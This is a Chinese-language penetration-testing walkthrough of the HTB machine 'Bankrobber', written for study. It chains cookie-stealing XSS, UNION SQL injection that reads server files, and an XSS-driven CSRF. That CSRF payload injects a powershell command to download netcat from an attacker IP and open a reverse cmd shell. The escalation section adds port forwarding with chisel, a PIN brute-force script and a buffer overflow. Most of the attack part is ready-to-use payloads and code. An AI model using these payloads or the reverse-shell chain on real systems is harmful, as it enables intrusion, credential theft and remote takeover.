[Meachines] [Insane] Bankrobber XSS-MDOG+SQLI+XSRF+Local-RCE+Bankv2转账模拟应用缓冲区溢出
字数 1043 2025-08-19 12:41:26
Bankrobber 渗透测试教学文档
1. 信息收集阶段
1.1 目标扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.154 --min-rate 1000 -sC -sV -Pn
发现开放端口:
- 80/tcp: HTTP (Apache 2.4.39, PHP 7.3.4)
- 443/tcp: HTTPS (自签名证书)
- 445/tcp: SMB (Windows 7-10)
- 3306/tcp: MySQL (MariaDB, 未授权)
系统信息:
- 主机名: BANKROBBER
- 操作系统: Windows
- Web服务器: Apache 2.4.39 (Win64) with OpenSSL/1.1.1b PHP/7.3.4
2. Web应用漏洞利用
2.1 XSS-MDOG攻击
- 注册普通用户
- 转账功能存在XSS漏洞,可在comment字段注入恶意脚本
攻击载荷示例:
POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
Content-Type: application/x-www-form-urlencoded
Cookie: id=3; username=dGVzdA%3D%3D; password=test
fromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24/test.js"></script>
使用MDOG工具获取管理员cookie:
wine MDOG.exe
解码获取的管理员凭证:
echo YWRtaW4= | base64 -d # admin
echo SG9wZWxlc3Nyb21hbnRpYw== | base64 -d # Hopelessromantic
2.2 SQL注入攻击
- 发现字符型注入漏洞,使用
2'-'1确认注入存在 - 信息收集:
1' order by 3 -- # 判断字段数
-1' union select 1,@@version,3 -- # 获取数据库版本
-1' union select 1,load_file('C:/Windows/win.ini'),3 -- # 文件读取
- 读取网站文件:
-1' union select 1,to_base64(load_file('c:/xampp/htdocs/index.php')),3 --
- 尝试写文件(无权限):
-1' union select 1, 'hello', 3 into outfile 'c:/xampp/htdocs/test.php' --
2.3 本地RCE利用
- 读取后台文件发现RCE漏洞:
-1' union select 1,to_base64(load_file('c:/xampp/htdocs/admin/backdoorchecker.php')),3 --
backdoorchecker.php关键代码分析:
<?php
include('../link.php');
include('auth.php');
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad = array(...); // 过滤危险字符
$good = "ls";
if(strtolower(substr(PHP_OS,0,3)) == "win"){
$good = "dir";
}
if($username == "admin" && $password == "Hopelessromantic"){
if(isset($_POST['cmd'])){
// 过滤危险字符
foreach($bad as $char){
if(strpos($_POST['cmd'],$char) !== false){
die("You're not allowed to do that.");
}
}
// 检查命令是否以"dir"开头
if(substr($_POST['cmd'], 0,strlen($good)) != $good){
die("It's only allowed to use the $good command");
}
// 仅允许本地访问
if($_SERVER['REMOTE_ADDR'] == "::1"){
system($_POST['cmd']);
} else{
echo "It's only allowed to access this function from localhost (::1).";
}
}
} else{
echo "You are not allowed to use this function!";
}
?>
- 结合XSS+XSRF实现RCE:
// index.js
var request = new XMLHttpRequest();
var params = 'cmd=dir|powershell -c "iwr -uri 10.10.16.24/nc64.exe -outfile %temp%\\nc.exe"; %temp%\\nc.exe -e cmd.exe 10.10.16.24 10032';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(params);
- 触发XSS载荷:
POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
Content-Type: application/x-www-form-urlencoded
Cookie: id=3; username=dGVzdA%3D%3D; password=test
fromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24/index.js"></script>
3. 权限提升
3.1 端口转发
发现内部端口910运行转账模拟应用,使用chisel进行端口转发:
# 攻击机
/usr/bin/chisel server -port 10000 --reverse
# 目标机
%TEMP%/chisel.exe client 10.10.16.24:10000 R:910:localhost:910
3.2 PIN码爆破
编写Python脚本爆破PIN码:
#!/usr/bin/env python3
import socket
import sys
for i in range(10000):
sys.stdout.write(f"\rTrying: {i:04d}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 910))
s.recv(4096)
s.send(f"{i:04d}\n".encode())
resp = s.recv(4096)
if not b"Access denied" in resp:
print(f"\rFound pin: {i:04d}")
break
s.close()
成功获取PIN码:0021
3.3 缓冲区溢出利用
- 识别缓冲区溢出点:
- 输入长字符串导致地址改变
- 使用Metasploit模式字符串确定偏移量
- 生成测试模式:
msf-pattern_create -l 100
- 计算偏移量:
msf-pattern_offset -q 0Ab1
确定偏移量为32字节
- 验证偏移量:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwhoami
成功执行命令,显示当前用户为Cortin
4. 获取Flag
- User Flag: 70e06a7bd26c92f93c4ebdb87ed89144
- Root Flag: c3ce23d0cb59f405c1acbc37499c151e
5. 关键总结
-
漏洞链利用顺序:
- XSS窃取管理员凭证
- SQL注入读取敏感文件
- 发现受限RCE功能
- 通过XSS+XSRF绕过RCE限制
- 端口转发访问内部服务
- PIN码爆破+缓冲区溢出提权
-
关键技术点:
- 基于Cookie的Base64认证机制
- 受限的RCE功能设计缺陷
- 本地服务的安全边界问题
- 缓冲区溢出漏洞利用
-
防御建议:
- 输入输出严格过滤
- 最小权限原则
- 敏感功能增加二次认证
- 代码审计和安全测试
- 及时更新和修补漏洞